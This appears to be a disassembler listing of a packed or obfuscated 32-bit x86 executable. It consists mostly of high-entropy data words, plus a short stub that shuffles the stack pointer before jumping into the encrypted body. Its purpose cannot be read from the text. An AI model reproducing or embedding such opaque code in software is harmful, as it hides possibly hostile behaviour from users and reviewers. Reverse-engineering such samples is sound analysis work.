		dd 0BA000000h, 5D0965BDh, 0CBF6EE81h, 0BF667B0Bh, 665661B9h
		dd 1489E281h, 0E883008Fh, 0D3DB8001h, 66484848h, 0E981D98Bh
		dd 1, 15850Fh, 890F0000h, 2, 1DE9D88Bh,	51000000h, 0C3991E9Ah
		dd 805240D8h, 77E9D6EAh, 79FFFFFFh, 445FD6F1h, 0B1DD025Dh
		dd 53E05169h, 6AC08B60h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 1940C353h, 6890Fh
		dd 0D6810000h, 7EECFA9Dh, 13B1BD83h, 750007D3h,	3DBD8309h
		dd 7D327h, 53501974h, 0EB8C08Bh, 89000004h, 0D3180585h
		dd 99D8D07h, 0FF07DB28h, 83585BD3h, 0D3273DBDh,	17740007h
		dd 0EB85350h, 89000004h, 0D3180585h, 0F89D8D07h, 0FF07DB24h
		dd 0B1585BD3h, 0EE9D1h,	4B1B0000h, 0BA893D10h, 6D6A3C29h
		dd 7456B53Eh, 0D91EB860h, 0DE860ACh, 3A000000h,	791EFA24h
		dd 0A8C983FFh, 730F2D04h, 0AE7F00B8h, 8B615B5Fh, 850F60C0h
		dd 6, 810Fh, 8D0F0000h,	6, 8D0Fh, 83610000h, 0D32425BDh
		dd 840F0007h, 0Ah, 2F8E9h, 8B665000h, 0DF8C59F7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D3C35343h, 5E900DABh
		dd 0EEDE8160h, 517DD81Fh, 5FDBBF0Fh, 0E6816661h, 0F7664392h
		dd 0F0004C7h, 2B485h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0C88BEFDEh, 27DBD83h
		dd 0F0007D3h, 1D85h, 0D890F00h,	60000000h, 8B0Fh, 81660000h
		dd 61C8C3C8h, 270E9h, 1683BE00h, 0FF2B43EEh, 6BD98166h
		dd 0AC9D8DFBh, 6A07DBBAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 428AC352h, 0E3DA6F7Bh
		dd 72A2E681h, 8D0F6C6Ch, 1Bh, 10E8h, 8CC48E00h,	0C304D654h
		dd 0FE7ECC95h, 0D0BEA18Eh, 9FD7BA80h, 505E20D2h, 6E9h
		dd 298CD00h, 8927E80Ah,	8D0F241Ch, 15h,	0F830Fh, 0AE90000h
		dd 10000000h, 0E3781947h, 59BB3D3Ah, 35FF64ADh,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 9CC35141h
		dd 1259767Ch, 58F0Fh, 81660000h, 644277D9h, 2589h, 0D1810000h
		dd 6DDDC048h, 8E9h, 27654E00h, 6C14CB40h, 6AC48B91h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8EE2C357h, 47D07B1Dh, 5E9h, 93245900h, 1CD4B87h, 6A00EBh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DAF7AFC3h, 0F595621Bh, 0BA66F363h, 890FE088h, 27h
		dd 9E8h, 1892EE00h, 2297FACFh, 13E95512h, 0C5000000h, 78E0306Ch
		dd 2AEBD390h, 48C963EBh, 0C915D9E1h, 6A5E3B3Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 80E1C351h, 58F64h, 0F000000h, 80h, 4C48300h,	28E0Fh
		dd 0EC8A0000h, 840FC00Bh, 0DDh,	0CE8h, 6C956300h, 8CF8EA20h
		dd 819151A8h, 6E9EBh, 85DA0000h, 5367EF07h, 6A615Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 26E23DC3h, 66E97AB6h, 1E3BD181h, 7098BD8Dh, 0DD8007D3h
		dd 1B8D4h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 9712E4C3h, 0C6806B0Ah, 6AE7FF7Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0B1D0C356h, 5C8B578Eh, 838B1024h,	0B8h, 140B60Fh
		dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 2F77C352h, 0FBF67041h, 62BD21A1h, 6A61F8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 957259C3h
		dd 43B6D1C5h, 8166401Eh, 8BC874D6h, 83DA80C0h, 13B1BD83h
		dd 750007D3h, 3DBD8309h, 7D327h, 53501974h, 0EB8C08Bh
		dd 89000004h, 0D309C985h, 709D8D07h, 0FF07DB28h, 83585BD3h
		dd 0D3273DBDh, 17740007h, 0EB85350h, 89000004h,	0D309C985h
		dd 119D8D07h, 0FF07DB25h, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0CB63C351h
		dd 5F538329h, 6D78B3BBh, 0F3DC680h, 89h, 0B6C08B00h, 0EBC28BE2h
		dd 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0CBED815Dh, 6107DBBBh, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 0BC03B58Bh, 0E68107DBh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 0BC07B53Bh, 860F07DBh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0D31ADD85h, 0A188607h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 153D95FFh,	0F5007D3h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0D31ADD85h, 0C607h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0DD858B00h, 8607D31Ah, 0FDB0A18h,	0FFFFF685h
		dd 4585C7FFh, 7D302h, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 24585C7h, 10007D3h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 0BBA885C7h, 107DBh
		dd 0F500000h, 0FE244C01h, 0BBAC858Fh, 858D07DBh, 7DBBBA4h
		dd 0BBACBD8Dh, 388907DBh, 23E9h, 0D1858D00h, 8B07D313h
		dd 17053840h, 899B46F3h, 0DBBBA485h, 0D1858D07h, 8B07D313h
		dd 85893C40h, 7DBBBA8h,	0BBC1858Dh, 858907DBh, 7D3153Dh
		dd 87E9h, 0D48B5200h, 8728B60h,	0B80C7A8Bh, 0A945CAB2h
		dd 7E9h, 30060000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h, 8C25A61h
		dd 0D48B5200h, 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h
		dd 28063000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h,	8C25A61h
		dd 0D48B5200h, 33535156h, 8728BDBh, 0E90C4A8Bh,	13h, 0F2D3CACh
		dd 0A84h, 34980400h, 0C1D83213h, 0B4908C3h, 0E5850FC9h
		dd 8BFFFFFFh, 5E595BC3h, 8C25Ah, 0BE34858Dh, 858907DBh
		dd 7D30CB1h, 0BE5C858Dh, 858907DBh, 7D301A1h, 0BE84858Dh
		dd 858907DBh, 7D30259h,	8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 7D33255h, 1DD6858Dh,	88B07DCh, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 0BEE58D89h, 0BD8307DBh, 7D3027Dh, 0F840F00h
		dd 60000000h, 95FF006Ah, 7D33019h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0E185895Ah,	8B07DBBEh
		dd 0DBBEE5B5h, 10CEC107h, 2728966h, 0BEE5B58Bh,	896607DBh
		dd 8B61FC72h, 0DBBEE185h, 958DC307h, 7D327B1h, 1ADD9589h
		dd 958907D3h, 7D3347Dh,	347D85FFh, 85C607D3h, 7D318D1h
		dd 48D86853h, 0B5FFFCB1h, 7D30165h, 3A37858Dh, 0D0FF07D3h
		dd 30198589h, 858D07D3h, 7DBBBDBh, 19558589h, 20EB07D3h
		dd 8 dup(0)
		dd 793E9h, 787E900h, 0F8680000h, 0E907DBC1h, 0FFFADC0Ah
		dd 0DBC30D68h, 0DC00E907h, 0CF68FFFAh, 0E907DBC5h, 0FFFADBF6h
		dd 0DBC65F68h, 0DBECE907h, 191AFFFAh, 9F9524DAh, 41BA658h
		dd 989827D7h, 618A757h,	0D36625D9h, 0E39BC056h,	671758D4h
		dd 0E49ADD58h, 631B5CD5h, 0CDB11852h, 1E32766Bh, 160998BAh
		dd 1B9132E9h, 381AD704h, 9487A869h, 923DAB15h, 611D0AB2h
		dd 3DA4FDFDh, 0BA522AACh, 0BC1ADBECh, 82B95E31h, 2F38247Fh
		dd 3EBAD9D2h, 0CE6930EBh, 29810FC8h, 47h, 9C982749h, 7714EE5Bh
		dd 66551FBh, 0F8436E15h, 0E99953E2h, 0FE06598Fh, 0DE29570Ah
		dd 321C364Eh, 3AD5A910h, 0CD263AE6h, 5C79D7CEh,	21A1D376h
		dd 0CBA09E0Fh, 0E036C8DAh, 0F97A397Dh, 81EADFACh, 55988Dh
		dd 430B0000h, 0BBFD898h, 0FC8BD849h, 0F133FEDEh, 3DD4AFB2h
		dd 5DEA3C4h, 61535606h,	0EC4E2211h, 0D8FADB75h,	44649C71h
		dd 0F46DE125h, 66396CE1h, 645E09B1h, 0B5A67087h, 9BF4FD56h
		dd 0F5399CE0h, 4D3BFEAh, 3073B24Fh, 41C34E31h, 0DF845F22h
		dd 0B85E312Fh, 1BFB8883h, 0D5FBD704h, 522B9072h, 94F0763Ah
		dd 24248B94h, 0A67948A3h, 0CAAF8279h, 69AE2280h, 0FFEC0DD3h
		dd 30F2BD37h, 6144F8F3h, 5B9866EEh, 0B2CE9B8h, 0B09AD6E1h
		dd 0C7C44433h, 0D5F312EEh, 9589B669h, 0CAA8230Eh, 0DA1D19A8h
		dd 2FE5BC17h, 55961308h, 6656A110h, 7F431854h, 42B697FAh
		dd 66F17370h, 36772386h, 0AA95B7FCh, 0A16003A4h, 1CD2150Ch
		dd 1C369FB1h, 7409EFADh, 27CB1628h, 0F4DE5991h,	0CBC0E71Dh
		dd 8DC070DEh, 0A310C738h, 566AFBDEh, 40076149h,	4CE17A72h
		dd 0DBCCF49h, 0D5A0310Eh, 587C9F73h, 7CD7C50Eh,	0CC000000h
		dd 8EB4113Fh, 0A95C702Bh, 0B136A13Eh, 0EC557ADAh, 40089D62h
		dd 31117A31h, 8180A35Eh, 0EB056D1Eh, 0DB96D954h, 0A75E03F8h
		dd 1908A84h, 9A27E403h,	0BAADD19Bh, 7D106C77h, 1FEDEBD6h
		dd 1CDDC1C5h, 4A647h, 0C3E02300h, 41669CCBh, 0BEFD224Dh
		dd 3E61A1D0h, 0C0FF2150h, 0DF5A6FCEh, 5D0C0239h, 0E1907EA1h
		dd 5C0B0324h, 0DB8C82A5h, 69E6D87Fh, 0E1373276h, 471D140h
		dd 1BF20000h, 0AF1AD704h, 0EBE6F2E7h, 0A5282022h, 0DFB336CAh
		dd 2EB682A3h, 0DFA99DBBh, 5E2F5400h, 93F61658h,	0B1ECEF88h
		dd 7536C227h, 0D1AD59DDh, 40C10BE8h, 0AEAF229Dh, 6BF871F9h
		dd 4A5E657h, 0BE33925h,	1F028265h, 2EA364Dh, 479880ECh
		dd 14A3581Ah, 0BD54A9ADh, 55555C57h, 0C45BA0ABh, 8C672A4Dh
		dd 0D9CACD8Fh, 3042606h, 0B0B1F62Ch, 7C87D48h, 14AFA6DEh
		dd 5C22557h, 0DEDB010Ah, 0F8DB4438h, 5FF168E1h,	118C345Bh
		dd 8BAC643Fh, 0FEE20AE8h, 0B8C88E53h, 0FF0BF762h, 0EF5CF04Ch
		dd 0CBB9754h, 1BF73A08h, 92F788BFh, 47DA4FDDh, 0F8EEF3AEh
		dd 0A819D833h, 0B4233F86h, 0D73BDDE9h, 0A9A4B00Eh, 0C4A00920h
		dd 6444AA90h, 830E51CDh, 30A76487h, 0D5154CA7h,	0F98035B5h
		dd 3911BF8h, 150E0000h,	939120CEh, 80F9A54h, 948C1BD3h
		dd 0A0C9B53h, 0C75A19D5h, 0DF8FCC52h, 5B1354D0h, 0E08ED14Ch
		dd 5F0F50D1h, 0D9A5144Eh, 2A327668h, 1A1BFDC6h,	87A918D9h
		dd 0DB5243Eh, 71B59413h, 3F42799Eh, 10B3F032h, 0A35E8181h
		dd 795E4B40h, 3BCE2AB7h, 0D1D0B215h, 0B221AFF5h, 9A2083B9h
		dd 111BF29Ch, 323D319Ah, 0B1C0AEEDh, 4130316Eh,	5D0CE6EFh
		dd 79BE01A8h, 0BAF93B06h, 0AA1FDCB7h, 6CC4B3E4h, 7932A41Dh
		dd 5CD32329h, 6598FFEFh, 4AABB7C4h, 0EAA5EA22h,	61F883Dh
		dd 5BC2019h, 21C8AA2Bh,	30A40DBAh, 0EB6434E3h, 0A83DA07Bh
		dd 2B5C8684h, 942B47A4h, 15A45A9Dh, 0B316DB1Ch,	97A226A5h
		dd 625C0BE5h, 0B304E77Dh, 0F426A358h, 155DEF35h, 5F6C1535h
		dd 4BB198BAh, 0FC75950h, 0CB72CE45h, 0AF826065h, 0A4603172h
		dd 66257E83h, 34675D0Ch, 2BBE759Eh, 4916E42Ah, 43BEC027h
		dd 0A40F23CBh, 43271BBEh, 1B7823CBh, 99B91C60h,	78E864Fh
		dd 66391972h, 10C45AAFh, 94A7A35Dh, 25BE25DEh, 0A4C73E69h
		dd 0DF5EF8DDh, 79A992Eh, 387BB60Bh, 24FDD69Bh, 0D7D2C9EEh
		dd 514B5F62h, 7B2908Ah,	609A343Bh, 96921F8Ch, 1C339655h
		dd 98C85FA9h, 93841F31h, 774AA56Ch, 0F8DA79BAh,	11971B51h
		dd 15D522E9h, 0CEBC76A8h, 0EBA0C343h, 0F8FEB4FEh, 0F6556AF0h
		dd 0F42BF6DCh, 74ADD4C7h, 0F52C3B33h, 10190B2h,	7D642DDEh
		dd 0E7D46BD3h, 68792366h, 0D2EF3684h, 993AFAD9h, 0BA8F0EB9h
		dd 823CCD28h, 53F5F499h, 12EF5377h, 78E063B9h, 2F600683h
		dd 8969C3F0h, 38397AB6h, 294ACA57h, 0DD7F6572h,	0AD46672Ch
		dd 90F5FC57h, 0CA46F64Bh, 2CF032FDh, 3EAE1F9Ah,	0D6F65D42h
		dd 0B9F4B610h, 0B019D20Bh, 121AAA4Dh, 0B59A8265h, 62D57467h
		dd 36E13593h, 6C4F3A05h, 4808BC80h, 0A5562F45h,	46D2h
		dd 0A0CCC900h, 67E5A7h,	3A51CDFEh, 0FEF8E44Fh, 6C2B1130h
		dd 78F3FEB1h, 9B767328h, 0E016B531h, 0A6E43F85h, 0A9C2AA88h
		dd 4FE69D2h, 5514F67Bh,	0C1B8D6F6h, 41407FA1h, 0A306055Eh
		dd 3A51E459h, 247F54h, 43A40000h, 0E1C2DF53h, 0A55298Eh
		dd 0E23BAEE8h, 984B604Ah, 0F76A6DB4h, 876B3D3Ah, 1120DEE0h
		dd 0C7C42F30h, 113F33D0h, 422B8EB4h, 0CF63BE69h, 3E3D3C59h
		dd 0D83FD2FCh, 387EDEA3h, 5322CC17h, 4DFCD67Dh,	0E38E7971h
		dd 37B269C2h, 0E76F4671h, 0ADB41F94h, 876B6AC4h, 443778B8h
		dd 0C4BE6BCEh, 97D35E6Dh, 9869D242h, 0DAAAB331h, 2B88FDD7h
		dd 0CE7BF636h, 0C6B26F7h, 0CFh,	0DE90D74Ch, 5C1251D3h
		dd 0D995CA4Dh, 591556CEh, 0DB93C84Eh, 0E108598h, 96921DD1h
		dd 130E9955h, 92931ED0h, 52109D51h, 76661BE7h, 3B046C32h
		dd 8682113Fh, 0A0439C65h, 534517C2h, 0E27423C1h, 1EBDAD82h
		dd 97549793h, 62B48BE5h, 864B3E3Dh, 5458E16Dh, 621F40BDh
		dd 0BDD28A81h, 0C22934Eh, 0EA3EA9C9h, 12DCB83h,	0F2F1F7C5h
		dd 6FF22386h, 0AD9D75EEh, 0DA7D3DE2h, 677C67E8h, 7879DA39h
		dd 0F8536417h, 13C3B5C9h, 3B18D987h, 3Fh, 6E2047BCh, 0ECA2C143h
		dd 69255ABDh, 0E9A5C63Eh, 6B2358BEh, 9E80F508h,	602AD61h
		dd 837E29E5h, 203AE60h,	0E2802DE1h, 76658B77h, 0AB74DC32h
		dd 0F738F5CCh, 75E299FAh, 3, 1BFAC9A6h,	8B16DB18h, 15A8698Ah
		dd 871AD718h, 14A9688Bh, 8914DD02h, 14A96897h, 8B16DB1Ch
		dd 17AA6794h, 651BD61Dh, 815A5452h, 4C2h, 4EA8300h, 5C241487h
		dd 7E9368h, 243C8900h, 81E38953h, 4C3h,	4EB8300h, 5C241C87h
		dd 0BF241C89h, 0E627883h, 5103E7C1h, 535F93B9h,	81E9D10Bh
		dd 0EC7A75F1h, 5DC1816Dh, 310C822Eh, 8B5459CFh,	0C481241Ch
		dd 4, 4EC81h, 3C890000h, 24048124h, 55860A03h, 8108438Fh
		dd 0A03086Bh, 1C8B5586h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_603296
; ---------------------------------------------------------------------------
		db 39h
		dd 0FB8D954Ah, 3FF30996h, 0C6C3B817h, 0C50307DBh, 0EBC88Bh
		dd 85EE9h, 852E900h, 2680000h, 0E907DBC9h, 0FFFD2C4Eh
		dd 0DBCA9068h, 2C44E907h, 0A368FFFDh, 0E907DBCBh, 0FFFD2C3Ah
		dd 0DBCCC268h, 2C30E907h, 9168FFFDh, 0E907DBCEh, 0FFFD2C26h
		dd 9829E77Eh, 4BA05013h, 9B30E080h, 4C9D5310h, 9D2EE27Fh
		dd 402163A6h, 0F2703B90h, 441EAD3Eh, 0F074378Ch, 0A711AB40h
		dd 66D1B0B8h, 5C3A46AEh, 0ED74ADBBh, 0C217B8A2h, 0E1F0A66Eh
		dd 88C33620h, 96507949h, 69D7025Ah, 5D7B964Fh, 5F58DEF9h
		dd 0E6ABF2A0h, 0F6B4C878h, 4E0A635Eh, 5E73BFCEh, 0EB3B6C5Fh
		dd 709DDF87h, 0D227CB62h, 6D4EDC7Ah, 723044FCh,	7591DFDAh
		dd 0B364EDB2h, 0EF23EB52h, 37E97841h, 0F2ED8523h, 0F6DDABBEh
		dd 46EE98C9h, 4D772883h, 0B590A6EEh, 2FAE5B0Bh,	0F1B80E6Bh
		dd 66425E59h, 0E4742362h, 5E4423F7h, 0DE0B67DBh, 6FF388F3h
		dd 0ECD953B2h, 0F6E1ED77h, 20A7BF4h, 0B7E7C30Eh, 726E21C9h
		dd 0F196A621h, 0A1BB64C0h, 83C68F14h, 38279927h, 4A8D730h
		dd 0B09A2C6h, 8C88A94Eh, 0FAC852EAh, 89D917D1h,	4984AF8Bh
		dd 0D8368130h, 91D2FD84h, 14B4FE2Bh, 105EA98Fh,	0F585BB2Bh
		dd 754B5537h, 2EE27E4Bh, 59D1801Eh, 2AC999B4h, 707886BAh
		dd 0EE8CCE27h, 9DB5D739h, 1CA65A0Ch, 0F53B3A4Ch, 4602FA5h
		dd 8C0ED873h, 17CFA3ACh, 0F084228Dh, 0F0BAF269h, 35789961h
		dd 8CBE6040h, 0F8E9732Bh, 0E006E89Fh, 0D3240254h, 0CEF45261h
		dd 36F0BBADh, 23000006h, 6E3D8E42h, 25A63BF5h, 75368B45h
		dd 22A93AF6h, 0B388947h, 33ED7CC6h, 0A15F0D9Eh,	37E97B50h
		dd 0A35D09A2h, 0D446E4Eh, 0AE66DF1Dh, 25BFD5A1h, 0AF018F41h
		dd 0B9A8580Ah, 0A9BD16B1h, 0EB0B6745h, 6D0A7FE0h, 9F80065Dh
		dd 86B3E933h, 9CDD1D78h, 67EFBBAAh, 0D6E6FC9h, 785CF8C5h
		dd 0F22EB6D7h, 669A4AE1h, 85DC0C5Ch, 0AEE4E99Fh, 852B6894h
		dd 360E7074h, 23C1A526h, 1FF13C2Ch, 0C2E4C285h,	0CB8CE4B2h
		dd 0DDEE22C2h, 64E47B45h, 9A851FF1h, 38960FCh, 49673D49h
		dd 571h, 0BBA61C71h, 0A9BD16B3h, 0CE9E5214h, 9220FED0h
		dd 0BD164FBFh, 99B173A9h, 16A45C08h, 55F937B5h,	9738A787h
		dd 0EA0A6280h, 4545C8DFh, 83B89B2Eh, 80B1DF8Bh,	5F9DC211h
		dd 3CDB9D26h, 865B9551h, 0AE550CB6h, 35A8B689h,	0E9EB5321h
		dd 5ED6634Eh, 0AC3AE459h, 0EBD05AEAh, 6BF6C47Ch, 9C215CE3h
		dd 6C3D1517h, 0EC7C46FAh, 823E4781h, 2A3583ADh,	9C217A22h
		dd 0DD7ED6D8h, 0A5A964Eh, 55083820h, 0BE57338Bh, 6B3F3FA6h
		dd 0DF11D556h, 0BE3CAA8Bh, 1D046B8Bh, 0ED23C556h, 46DCED8Fh
		dd 1B2FE185h, 96FAE57Dh, 4F58CCF8h, 5C3975FFh, 662E3A08h
		dd 0FC4B49A6h, 0F71F1A32h, 208D69DAh, 3F13CD9Bh, 0BFC9E198h
		dd 98B46CFAh, 9A1953FEh, 62849DFCh, 0A0533548h,	43F6DEB1h
		dd 4F82E68Dh, 6E11D072h, 44B2401Ch, 0B8399562h,	8F61085Dh
		dd 4A8A4h, 20D09500h, 0A96700CBh, 19D79318h, 0AC6403C8h
		dd 1BD59417h, 0EA549DC6h, 9B30C17Fh, 0EDBE13CDh, 9734C57Bh
		dd 0DCC011CFh, 0DC8F7FD2h, 4333AE66h, 8F41254Dh, 18C8F1BBh
		dd 2BBB8CE8h, 4A15ABF5h, 0A9BD16C2h, 3E1E36F8h,	0A549E474h
		dd 616FFF6h, 0E50FDD6Eh, 0BD5BF27Ah, 882608A9h,	1FF96E73h
		dd 0ECCD39D2h, 86D07D7Dh, 83A2804Dh, 0F7535121h, 438809BCh
		dd 0BE2A352Dh, 0D5B45D83h, 0EABBBFE4h, 0CAE54641h, 321DF339h
		dd 0A4DD8FA0h, 45FB694Ah, 5C944E7Bh, 22320A08h,	81A0F437h
		dd 6FE2D03Dh, 3D88B9FFh, 0E492103h, 85BC463Eh, 80646535h
		dd 461EFC50h, 0E5463C1Bh, 273A8875h, 0B2074227h, 442139DBh
		dd 73DEE299h, 0B20742FBh, 95E51BCCh, 0E0844597h, 207E1C30h
		dd 0DA87347Eh, 3E744E26h, 2EC3691Ah, 0BA921B73h, 619BD97Fh
		dd 0CF8E6C9Dh, 0E8F97C0Ah, 4892094Fh, 0E87741B3h, 0A89A8160h
		dd 0FB4F8163h, 0AFCDCF1Dh, 6833481Eh, 8B364697h, 395h
		dd 9C2DE382h, 479C540Fh, 972CE484h, 48995714h, 992AE683h
		dd 4C1D67AAh, 0FE6C3F94h, 481AB142h, 0FC684398h, 0A30DAF44h
		dd 66DDBCACh, 603642AEh, 1A33AF1Ch, 60F4924Eh, 4D19AAC2h
		dd 6DFD33B0h, 90E41CCCh, 0C292F492h, 97AB6501h,	0BBD275E9h
		dd 0F1E4F52Bh, 93E02F7Bh, 310C1h, 0C3BB0900h, 0FBD7820Dh
		dd 1D03A06Bh, 5AF230F3h, 0ECDB1D5Fh, 0E2804975h, 839162Eh
		dd 6D50AD8Ah, 98481AA1h, 42FE6843h, 5F915378h, 0DC8C0D0Bh
		dd 0FA525024h, 0B8F59DAh, 2E5FFC1Ah, 39153964h,	651C66E3h
		dd 0F6B78BE9h, 0C0A4B868h, 80080783h, 0A83879EBh, 4236E478h
		dd 9721531Dh, 0AC6B07CFh, 5C6C93Bh, 9EAE62h, 0BECF9064h
		dd 0FED7EC24h, 0D039A67Ah, 7ABEh, 0D8873400h, 133D54E2h
		dd 6E10F795h, 6E2440DEh, 4625A61Ch, 6DDCBA8Ah, 0A9BD16FDh
		dd 90472301h, 9FC7D1D9h, 7973D02Eh, 46D06CCAh, 0AC27981Bh
		dd 0DF5883CEh, 0C0F16135h, 0ABE0E33Dh, 55A284D2h, 2BFB510Dh
		dd 7650DB0Dh, 63000002h, 0AE7D4E82h, 65E6FB35h,	0B5764B85h
		dd 62E9FA36h, 4B784987h, 0F32DBC06h, 619F4DDEh,	0F729BB90h
		dd 639D49E2h, 4D04AE8Eh, 0AE66DADDh, 16FF15E1h,	9A7AB5ACh
		dd 1E4AFDC9h, 46B89DF7h, 0B8A3BF95h, 6381D7ECh,	0BB75F5D6h
		dd 351E9A7h, 52DC7FD4h,	0E67947B6h, 3E16AA66h, 0CB430E9Ch
		dd 0EF3E16AAh, 9E4A4F2Dh, 38141262h, 0FD4D4F9Fh, 0D78AAA3Ch
		dd 3E16AA57h, 79E8A96Bh, 97F5B3C7h, 0E1F86042h,	0B8CB56ADh
		dd 0B56BF9BAh, 0DA6B07A5h, 0BC86D60Ah, 0B9D35B06h, 34B43E16h
		dd 102CEAFCh, 0ECFDB5A9h, 0F05F855Fh, 3E16B978h, 0B91F0F42h
		dd 1A33E16h, 7E5331F3h,	984817A4h, 0E27BEBBCh, 9A78CC04h
		dd 19C768FCh, 802A12E7h, 8A0343D1h, 8274CA61h, 931F7AF6h
		dd 183A321Dh, 0DEC07B76h, 3EF5B86h, 6113B0AEh, 520EAFC3h
		dd 0E2984D9Eh, 0FF971E0h, 1FFD20BEh, 9C4CED7Dh,	2F69701Eh
		dd 45E946FEh, 9D7D9EC0h, 0B546683Bh, 5AB15AACh,	10270BCEh
		dd 0F1E00EF2h, 40CF09B7h, 0E2CA812Ch, 6F4189D8h, 7D8307Fh
		dd 40CF7596h, 0B5C8E111h, 6200C976h, 3D149EAEh,	0BAB51FCDh
		dd 0F95133F1h, 0E9C7ACCh, 0F5063AADh, 8956634Dh, 1F60E857h
		dd 9896BAB5h, 558E52B0h, 7FDB21E8h, 57EB25BEh, 80D40CD6h
		dd 5BEF21BFh, 0FC5C85D1h, 0BE063721h, 0E2ED5DF4h, 1311BAB5h
		dd 46FA6637h, 5C944F7Ch, 0F269F000h, 80D40CD7h,	0CB604A2h
		dd 0B5E2D555h, 0F42CB6BAh, 8E2844E2h, 0BD098FC3h, 0EE2B165Eh
		dd 7A4849BDh, 0FE111948h, 7A54BBDh, 18CC706Bh, 0CCF6BAAAh
		dd 56D09595h, 32D7937Bh, 0DDEBE484h, 18350D0Fh,	5D17E8C6h
		dd 0C944A43Eh, 0A70C97h, 0D1940000h, 6601CA1Fh,	0D69219AAh
		dd 6502C91Ah, 0D49516ABh, 559CC71Ch, 31C27EEBh,	0BF14CC9Ah
		dd 35C67AECh, 0C112CE96h, 8E7ED1DBh, 34AE66D8h,	41254E44h
		dd 2EB8018Fh, 0B97A5AF2h, 0D058072Dh, 0B3A9BD16h, 2CEAFC34h
		dd 140CFA4Ah, 16CA9AF3h, 305C90C5h, 26A093E0h, 16000000h
		dd 6BFF31B5h, 0C67AECADh, 6ABBE8AEh, 0F13CA91Ah, 90CFF07Eh
		dd 3A1D5A87h, 1596704Dh, 774A9F51h, 20h, 0B1BB1Fh, 0ABACA8ABh
		dd 5C5F727Bh, 0A1106A05h, 31B596B5h, 1058EAFFh,	8FA5C702h
		dd 18DE7634h, 2A29917h,	4B000000h, 90402533h, 0B56BFBBCh
		dd 8E4224A5h, 0B16FFDBEh, 8F4120A1h, 0B16FFABBh, 8D4320A1h
		dd 0B46CFCBDh
		dd 8C441FA0h, 0D068E1B8h, 89000018h, 0B9512424h, 4, 4244C01h
		dd 2B706859h, 1C890000h, 7D66824h, 14890000h, 0C7A76824h
		dd 1C8B07DBh, 4C48124h,	54000000h, 8124148Bh, 4C4h, 4EC8100h
		dd 89000000h, 428F241Ch, 2434FF08h, 4C4835Ah, 5B2434FFh
		dd 4C481h, 13E90000h, 0C7FFFD24h, 0F6C5E8B8h, 0BB374CC6h
		dd 0BB0A472Bh, 0DBCF5DB8h, 8BC50307h, 51E9D1h, 8B600000h
		dd 3242474h, 7C8B3C76h,	0D68B2824h, 0F8C281h, 8B660000h
